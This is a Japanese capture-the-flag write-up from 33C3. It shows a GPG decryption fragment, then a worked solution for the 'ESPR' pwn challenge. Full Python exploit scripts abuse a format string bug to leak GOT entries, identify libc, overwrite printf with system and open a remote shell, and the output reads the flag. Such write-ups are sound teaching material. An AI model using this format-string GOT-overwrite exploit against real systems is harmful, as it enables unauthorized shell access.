gpg: keyring `/home/user/.gnupg/pubring.gpg' created
gpg: /home/user/.gnupg/trustdb.gpg: trustdb created
gpg: key D0D8161F: public key "operator from hell <team@kitctf.de>" imported
gpg: key D0D8161F: secret key imported
gpg: key D0D8161F: "operator from hell <team@kitctf.de>" not changed
gpg: Total number processed: 2
gpg:               imported: 1  (RSA: 1)
gpg:              unchanged: 1
gpg:       secret keys read: 1
gpg:   secret keys imported: 1

$ gpg --decrypt --output secret.docx secret.docx.gpg
gpg: encrypted with 2048-bit RSA key, ID BF30A26A, created 2016-12-11
      "operator from hell <team@kitctf.de>"

$ file secret.docx
secret.docx: Microsoft Word 2007+

f:id:inaz2:20161230124332p:plain

ESPR (Pwn 150)

問題文の写真から、概ね次のような処理をしていることが推測できる。

char buf[0x100];
while (1) {
    gets(buf);
    sleep(1);
    printf(buf);
}

Format String Bugがあるので、適当にスタックの内容を調べた後、saved ebp相当の箇所を利用して通常0x601000に置かれる.plt.gotセクションの内容を書き出してみる。

from minipwn import *

s = socket.create_connection(('78.46.224.86', 1337))
s.settimeout(3)

sendline(s, '%'+str(0x601000)+'c%40$ln')
try:
    while True:
        print len(s.recv(8192))
except socket.timeout:
    pass

sendline(s, '%66$p')
print s.recv(8192),
sendline(s, '%66$s')
data = s.recv(8192)
got_addr = u64(data.ljust(8, '\x00'))
print hex(got_addr)

for i in xrange(0x08, 0x60, 0x8):
    sendline(s, '%'+str(i)+'c%40$hhn')
    s.recv(8192)
    sendline(s, '%66$p')
    print s.recv(8192),
    sendline(s, '%66$s')
    data = s.recv(8192)
    got_addr = u64(data.ljust(8, '\x00'))
    print hex(got_addr)
$ python espr.py
(snip)
0x601000 0x600e20
0x601008 0x7f3fb55e1168
0x601010 0x7f3fb53d28f0
0x601018 0x7f3fb4e48550
0x601020 0x7f3fb4e62030
0x601028 0x7f3fb4ebe640
0x601030
Traceback (most recent call last):
  File "espr.py", line 23, in <module>
    data = s.recv(8192)
socket.timeout: timed out

アドレスが指しているページから、0x601018、0x601020、0x601028の三つがprintf、sleep、getsのいずれかに対応してそうなことがわかる。

次のスクリプトを利用してオフセットの合うlibcを探すと、一致するものが見つかる。

$ ./find printf 550 gets 030 sleep 640
http://ftp.osuosl.org/pub/ubuntu/pool/main/g/glibc/libc6_2.24-3ubuntu1_amd64.deb (id libc6_2.24-3ubuntu1_amd64)
archive-glibc (id libc6_2.24-3ubuntu2_amd64)

$ cat db/libc6_2.24-3ubuntu1_amd64.symbols | grep -e ^printf -e ^system
printf 0000000000056550
system 00000000000456d0

GOTのprintfをsystemに書き換え、system("/bin/sh")を呼ぶことでシェルを起動できる。

from minipwn import *

s = socket.create_connection(('78.46.224.86', 1337))
s.settimeout(3)

sendline(s, '%'+str(0x601018)+'c%40$ln')
try:
    while True:
        print len(s.recv(8192))
except socket.timeout:
    pass

sendline(s, '%66$p')
print s.recv(8192)
sendline(s, '%66$s')
data = s.recv(8192)
libc_printf = u64(data.ljust(8, '\x00'))
print "[+] libc_printf = %x" % libc_printf
libc_system = libc_printf - 0x0000000000056550 + 0x00000000000456d0
print "[+] libc_system = %x" % libc_system

n = libc_system & 0xFFFFFFFF
print "[+] n = %x" % n
sendline(s, '%'+str(n)+'c%66$n')
try:
    while True:
        print len(s.recv(8192))
except socket.timeout:
    pass

print "[+] got a shell!"
sendline(s, '/bin/sh\x00')
interact(s)
$ python espr.py
(snip)
0x601018
[+] libc_printf = 7f900de94550
[+] libc_system = 7f900de836d0
[+] n = de836d0
(snip)
[+] got a shell!
id
uid=1001(challenge) gid=1001(challenge) groups=1001(challenge)
ls
espr
flag
run.sh
cat flag
33C3_f1rst_tshirt_challenge?!

所感

他に解きたかった問題は以下。